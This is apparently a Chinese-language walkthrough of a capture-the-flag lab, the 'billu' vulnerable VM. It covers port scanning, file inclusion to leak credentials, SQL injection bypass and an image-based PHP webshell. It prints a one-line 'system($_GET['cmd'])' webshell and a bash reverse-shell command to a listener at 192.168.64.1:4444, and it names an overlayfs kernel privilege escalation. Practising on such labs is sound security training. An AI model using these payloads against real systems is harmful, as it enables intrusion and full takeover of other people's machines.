运行虚拟机直接上nmap扫描 获取靶场ip
nmap 192.168.18.*

开放端口
TCP 22 SSH OpenSSH 5.9p1
TCP 80 HTTP Apache httpd 2.2.22
192.168.18.143 打开页面 爆破路径 得到

test.php、add.php、in.php、c.php、index.php、show.php等 猜测c.php 可以有一句话 在爆破一句话
一次打开 发现 test.php

要一个file 猜测可能是文件包含 输入

成功下载文件 
in.php 是phpinfo 文件

ctril+f 搜索 SCRIPT_FILENAME 得到跟路径
把刚刚暴露的文件依次下载发现 c.php 里面有连接mysql 的账号密码 在phpmyadmin 下可能存在默认配置文件

用户名:billu密码:b0x_billu数据库名:ica_lab登录
在尝试读取phpmyadmin的默认配置文件 file=/var/www/phpmy/config.inc.php 得到mysql root 的账号密码

root密码:roottoor 既然已经获取了 他的22端口开着可以尝试登录
登录成功 root权限

这里我也可以看到原先主页的sql 注入 提示 下载源码


对单引号做了转义 这样我想起来 一个ctf 题 也是对单引号进行转义 直接利用 在单引号前面加个反斜杠对反斜杠进行转义构建slq注入语句

成功注入登录成功

进去查看页面发现 panel.php 利用任意下载漏洞 下载 在前面源码中也有包含 panel.php 文件的代码


代码审计发现 文件包含 上传一张图片马让后包含

利用之前扫描出来的路径查看 /uploaded_images/

让后直接包含

这里 可以在 马里写一个get 请求反弹shell
cmd=echo "bash -i >& /dev/tcp/192.168.64.1/4444 0>&1" | bash cmd 后门的命令需要url 编码

<?php system($_GET['cmd']); ?> 利用 system 函数执行系统命令
这里也可以利用菜刀或者蚁剑连接 打开蚁剑


连接

打开虚拟终端输入 u'na'me -a ‘不影响命令读取
(www-data:/var/www) $ u'na'me -a
Linux indishell 3.13.0-32-generic #57~precise1-Ubuntu SMP Tue Jul 15 03:50:54 UTC 2014 i686 i686 i386 GNU/Linux
可以利用linux 内核提权
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation
差不多两种提权思路